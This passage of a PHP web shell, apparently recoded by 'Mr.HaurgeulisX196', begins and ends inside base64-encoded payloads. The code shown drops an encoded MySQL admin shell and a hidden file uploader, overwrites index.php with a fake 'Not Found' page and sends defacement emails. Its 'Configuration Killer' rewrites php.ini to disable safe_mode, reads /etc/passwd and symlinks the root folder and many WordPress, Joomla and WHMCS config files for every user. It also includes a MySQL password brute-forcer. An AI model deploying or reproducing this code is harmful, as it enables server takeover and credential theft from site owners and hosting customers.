WxfY29ubmVjdCggJEhPU1ROQU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7DQoJZHVtcCgpOw0KfSBlbHNlIHsNCgl3aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7DQoJCWlmKCAkdmFyID09ICJteXNxbF93ZWJfYWRtaW5fdXNlcm5hbWUiICkgJFVTRVJOQU1FID0gJHZhbHVlOw0KCQlpZiggJHZhciA9PSAibXlzcWxfd2ViX2FkbWluX3Bhc3N3b3JkIiApICRQQVNTV09SRCA9ICR2YWx1ZTsNCgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9TVE5BTUUgPSAkdmFsdWU7DQoJfQ0KCWVjaG8gIjwhLS0iOw0KCSRteXNxbEhhbmRsZSA9IEBteXNxbF9jb25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsNCgllY2hvICItLT4iOw0KCWlmKCAkbXlzcWxIYW5kbGUgPT0gZmFsc2UgKSB7DQoJCWVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7DQoJCWVjaG8gIjxoMT5Xcm9uZyBQYXNzd29yZCE8L2gxPlxuIjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1sb2dvbic+TG9nb248L2E+XG4iOw0KCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5cbiI7DQoJfSBlbHNlIHsNCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQ0KCQkJbGlzdERhdGFiYXNlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVEQiIgKQ0KCQkJY3JlYXRlRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcERCIiApDQoJCQlkcm9wRGF0YWJhc2UoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQ0KCQkJbGlzdFRhYmxlcygpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJjcmVhdGVUYWJsZSIgKQ0KCQkJY3JlYXRlVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcFRhYmxlIiApDQoJCQlkcm9wVGFibGUoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQ0KCQkJdmlld1NjaGVtYSgpOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJxdWVyeSIgKQ0KCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJhZGRGaWVsZCIgKQ0KCQkJbWFuYWdlRmllbGQoICJhZGQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGQiICkNCgkJCW1hbmFnZUZpZWxkKCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRmllbGRfc3VibWl0KCAiZWRpdCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZHJvcEZpZWxkIiApDQoJCQlkcm9wRmllbGQoKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IiApDQoJCQl2aWV3RGF0YSggIiIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImFkZCIgKTsNCgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiYWRkRGF0YV9zdWJtaXQiICkNCgkJCW1hbmFnZURhdGFfc3VibWl0KCAiYWRkIiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RGF0YSIgKQ0KCQkJbWFuYWdlRGF0YSggImVkaXQiICk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gImVkaXREYXRhX3N1Ym1pdCIgKQ0KCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJlZGl0IiApOw0KCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApDQoJCQlkZWxldGVEYXRhKCk7DQoJCWVsc2UgaWYoICRhY3Rpb24gPT0gInV0aWxzIiApDQoJCQl1dGlscygpOw0KCQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsNCgkJZm9vdGVyX2h0bWwoKTsNCgl9DQp9DQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBNb2hhamVyMjIpPC90aXRsZT4NCjxib2R5IGJnQ29sb3I9IzAwMDAwMCA+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KPCEtLQ0KcC5sb2NhdGlvbiB7DQoJY29sb3I6ICMwMEZGMDA7DQp9DQpoMSwgaDIsIGgzIHsNCgljb2xvcjogIzAwRkYwMDsNCn0NCnRoIHsNCgliYWNrZ3JvdW5kLWNvbG9yOiAjMjIyMjIyOw0KCWNvbG9yOiAjMDBGRjAwOw0KCWZvbnQtc2l6ZTogc21hbGw7DQp9DQp0ZCB7DQoJY29sb3I6ICMwMEZGMDA7DQoJYmFja2dyb3VuZC1jb2xvcjogIzQ0NDQ0NDsNCglmb250LXNpemU6IHNtYWxsOw0KfQ0KZm9ybSB7DQoJbWFyZ2luLXRvcDogMDsNCgltYXJnaW4tYm90dG9tOiAwOw0KfQ0KYSB7DQoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJY29sb3I6ICMwMEZGMDA7DQoJZm9udC1zaXplOnNtYWxsOw0KfQ0KQTpsaW5rIHsNCkNPTE9SOiNGRkZGRkY7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmFjdGl2ZSB7DQpDT0xPUjojMDBGRjAwOw0KVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCmNvbG9yOiMwMEZGMDA7DQpURVhULURFQ09SQVRJT046IG5vbmUNCn0NCmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsNCmJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQpib3JkZXItc3R5bGU6IHNvbGlkOw0KZm9udC1mYW1pbHk6IFRhaG9tYSxWZXJkYW5hLEFyaWFsLFNhbnMtU2VyaWY7DQpmb250LXNpemU6c21hbGw7DQpjb2xvcjogIzAwRkYwMDsNCnBhZGRpbmc6IDBweDsNCn0NCmxpIHsNCmNvbG9yOiAjMDBGRjAwOw0KfQ0KLm5ldyB7DQpjb2xvcjogIzAwRkYwMDsNCn0NCi8vLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg==';
$file = fopen("db-sql.php" ,"w+");
$write = fwrite ($file ,base64_decode($sqlshell));
fclose($file);
chmod("db-sql.php", 0644);
$indexshell = fopen("index.php" ,"w+");
$data = 'PGgxPk5vdCBGb3VuZDwvaDE+IA0KPHA+VGhlIHJlcXVlc3RlZCBVUkwgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48L3A+IA0KPGhyPiANCjxhZGRyZXNzPkFwYWNoZSBTZXJ2ZXIgYXQgPD89JF9TRVJWRVJbJ0hUVFBfSE9TVCddPz4gUG9ydCA4MDwvYWRkcmVzcz4gDQogICAgPHN0eWxlPiANCiAgICAgICAgaW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9IA0KICAgIDwvc3R5bGU+';
$tulis = fwrite( $indexshell, base64_decode($data));
fclose($indexshell);
echo "<iframe src=mysql/db-sql.php width=97% height=100% frameborder=0></iframe>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')){
if(isset($_POST['mail_send'])){
$mail_to = $_POST['mail_to'];
$mail_from = $_POST['mail_from'];
$mail_subject = $_POST['mail_subject'];
$mail_content = magicboom($_POST['mail_content']);
if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
$msg = "email sent to $mail_to";
}
else $msg = "send email failed";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=mail" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey there, You Website Hacked By Me... Please PACTH :p</textarea>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" /> mail to</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" /> from</td></tr>
<tr><td> <input class="inputz" style="width:20%;" type="text" value="patch me" name="mail_subject" /> subject</td></tr>
<tr><td> <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
<tr><td> <?php echo $msg; ?></td></tr>
</table>
</form>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'phpinfo')){
@ob_start();
eval("phpinfo();");
$buff = @ob_get_contents();
@ob_end_clean();
$awal = strpos($buff,"<body>")+6;
$akhir = strpos($buff,"</body>");
echo "<div class=\"phpinfo\">".substr($buff,$awal,$akhir-$awal)."</div>";
}
elseif(isset($_GET['view']) && ($_GET['view'] != "")){
if(is_file($_GET['view'])){
if(!isset($file)) $file = magicboom($_GET['view']);
if(!$win && $posix){
$name=@posix_getpwuid(@fileowner($folder));
$group=@posix_getgrgid(@filegroup($folder));
$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
}
else {
$owner = $user;
}
$filn = basename($file);
echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
<form action=\"?y=".$pwd."&view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
</form>
</td></tr>
<tr><td>Size</td><td>".ukuran($file)."</td></tr>
<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
<tr><td>Owner</td><td>".$owner."</td></tr>
<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
<tr><td>Actions</td><td><a href=\"?y=$pwd&edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$file\">delete</a> | <a href=\"?y=$pwd&dl=$file\">download</a> (<a href=\"?y=$pwd&dlgzip=$file\">gzip</a>)</td></tr>
<tr><td>View</td><td><a href=\"?y=".$pwd."&view=".$file."\">text</a> | <a href=\"?y=".$pwd."&view=".$file."&type=code\">code</a> | <a href=\"?y=".$pwd."&view=".$file."&type=image\">image</a></td></tr>
</table>
";
if(isset($_GET['type']) && ($_GET['type']=='image')){
echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&img=".$filn."\"></div>";
}
elseif(isset($_GET['type']) && ($_GET['type']=='code')){
echo "<div class=\"viewfile\">";
$file = wordwrap(@file_get_contents($file),"240","
");
@highlight_string($file);
echo "</div>";
}
else {
echo "<div class=\"viewfile\">";
echo nl2br(htmlentities((@file_get_contents($file))));
echo "</div>";
}
}
elseif(is_dir($_GET['view'])){
echo showdir($pwd,$prompt);
}
}
////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'killer'))
{
?>
<form action="?y=<?php echo $pwd; ?>&killer=<?php echo $file; ?>" method="post">
<center><b>Configuration Killer By Team INDISHELL</b><br><br>
<?
$byphp = "safe_mode = Off
disable_functions = None
";
file_put_contents("php.ini",$byphp);
?>
<bR><form method=post>
<textarea style="border:1px dotted #00ff00; width: 543px; height: 420px; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#FF0000" rows=20 cols=85 name=user><?php $users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
echo $str[0]."
";
}
?></textarea><br>
<br>
<input name="su" type="submit" value="GET CONFIG !" style="border:1px dotted #FF0000; width: 99; font-family:Tahoma; font-size:10pt; color:#59E817; text-transform:uppercase; height:23; background-color:#0C0C0C" /></p>
</form><center>
<?php
error_reporting(0);
echo "<font color=#ff00 size=2 face=\"comic sans ms\">";
if(isset($_POST['su']))
{
mkdir('xcp',0777);
$rr = " Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$g = fopen('xcp/.htaccess','w');
fwrite($g,$rr);
$indishell = symlink("/","xcp/root");
$rt="<a href=xcp/root><font color=white size=3 face=\"comic sans ms\"> OwN3d</font></a>";
echo "Please check link given below for / folder symlink <br><u>$rt</u>";
$dir=mkdir('XCPCONF',0777);
$r = " Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$f = fopen('INJECTION/.htaccess','w');
fwrite($f,$r);
$consym="<a href=XCPCONF/><font color=white size=3 face=\"comic sans ms\">configuration files</font></a>";
echo "<br>The link given below for configuration file symlink...open it, once processing finish <br><u><font color=white size=2 face=\"comic sans ms\">$consym</font></u></center>";
$usr=explode("
",$_POST['user']);
$configuration=array("wp-config.php",
"wordpress/wp-config.php","web/wp-config.php","wp/wp-config.php","press/wp-config.php","wordpress/beta/wp-config.php","news/wp-config.php","new/wp-config.php","blogs/wp-config.php","home/wp-config.php","blog/wp-config.php","protal/wp-config.php","site/wp-config.php","main/wp-config.php","test/wp-config.php","wp/beta/wp-config.php","beta/wp-config.php","joomla/configuration.php","protal/configuration.php","joo/configuration.php","cms/configuration.php","site/configuration.php","main/configuration.php","news/configuration.php","new/configuration.php","home/configuration.php","configuration.php","SSI.php","forum/SSI.php","forum/inc/config.php","forum/includes/config.php","upload/includes/config.php","cc/includes/config.php","vb/includes/config.php","vb3/includes/config.php","cpanel/configuration.php","panel/configuration.php","submitticket.php","manage/configuration.php","myshop/configuration.php","beta/configuration.php","includes/config.php","lib/config.php","conf_global.php","inc/config.php","incl/config.php","include/db.php","include/config.php","includes/functions.php","includes/dist-configure.php","connect.php","mk_conf.php","config/koneksi.php","system/sistem.php","config.php","Settings.php","settings.php","sites/default/settings.php","smf/Settings.php","forum/Settings.php","forums/Settings.php","host/configuration.php","hosting/configuration.php","hosts/configuration.php","zencart/includes/dist-configure.php","shop/includes/dist-configure.php","whm/configuration.php","whmc/configuration.php","whmcs/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","order/configuration.php","support/configuration.php","supports/configuration.php","oscommerce/includes/configure.php","oscommerces/includes/configure.php","shopping/includes/configure.php","sale/includes/configure.php","config.inc.php","amember/config.inc.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","billings/configuration.php","admin/conf.php","admin/config.php");
foreach($usr as $uss )
{
$us=trim($uss);
foreach($configuration as $c)
{
$rs="/home/".$us."/public_html/".$c;
$r="XCPCONF/".$us." .. ".$c;
symlink($rs,$r);
}
}
}
}
//////////////////////////////////////////////////
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){
if(isset($_POST['save'])){
$file = $_POST['saveas'];
$content = magicboom($_POST['content']);
if($filez = @fopen($file,"w")){
$time = date("d-M-Y H:i",time());
if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
else $msg = "failed to save";
@fclose($filez);
}
else $msg = "permission denied";
}
if(!isset($file)) $file = $_GET['edit'];
if($filez = @fopen($file,"r")){
$content = "";
while(!feof($filez)){
$content .= htmlentities(str_replace("''","'",fgets($filez)));
}
@fclose($filez);
}
?>
<form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php echo $content; ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
<?php echo $msg; ?></td></tr>
</table>
</form>
<?php
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'logout'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=logout" method="post">
<?php
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
echo 'Good Bye ... Thank For using this shell.. N0 Keylogger or Viruses
<br>Ur can check it :)
<br> Negara itu tidak akan merdeka, Jika tidak ada Para pahlawan Di Dalamnya - <b>IR . SOEKARNO</b>
<br><br>R3C0D3D BY<b> Mr.HaurgeulisX196 </b>';
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=brute" method="post">
<?php
//bruteforce
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
/*
Recoded By Mr.HaurgeulisX196
*/
@set_time_limit(0);
@error_reporting(0);
if($_POST['page']=='find')
{
if(isset($_POST['usernames']) && isset($_POST['passwords']))
{
if($_POST['type'] == 'passwd'){
$e = explode("
",$_POST['usernames']);
foreach($e as $value){
$k = explode(":",$value);
$username .= $k['0']." ";
}
}elseif($_POST['type'] == 'simple'){
$username = str_replace("
",' ',$_POST['usernames']);
}
$a1 = explode(" ",$username);
$a2 = explode("
",$_POST['passwords']);
$id2 = count($a2);
$ok = 0;
foreach($a1 as $user )
{
if($user !== '')
{
$user=trim($user);
for($i=0;$i<=$id2;$i++)
{
$pass = trim($a2[$i]);
if(@mysql_connect('localhost',$user,$pass))
{
echo "Mr.HaurgeulisX196 ~ user is (<b><font color=white>$user</font></b>) Password is (<b><font color=white>$pass</font></b>)<br />";
$ok++;
}
}
}
}
echo "<hr><b>You Found <font color=white>$ok</font> Cpanel by Mr.HaurgeulisX196</b>";
echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
}
if($_POST['pass']=='password'){
@error_reporting(0);
$i = getenv('REMOTE_ADDR');
$d = date('D, M jS, Y H:i',time());
$h = $_SERVER['HTTP_HOST'];
$dir=$_SERVER['PHP_SELF'];
$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
$file = fopen(".php","w+");
$write = fwrite ($file ,base64_decode($back));
fclose($file);
chmod(".php",0755);
mkdir('config',0755);
$cp =
'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50ICdcbicsICctJyAqIDEwMCwgJ1xuJw0KICBpZiBzeXN0ZW0oKSA9PSAnTGludXgnOg0KICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKGZvdXQpOg0KICAgICAgZm9yIGZuYW1lIGluIGZpbGVzOg0KICAgICAgICBmdWxscGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmbmFtZSkNCiAgICAgICAgZiA9IG9wZW4oZnVsbHBhdGgsICdyJykNCiAgICAgICAgZm9yIGxpbmUgaW4gZjoNCiAgICAgICAgICBzZWNyID0gcmUuc2VhcmNoIChyIihkY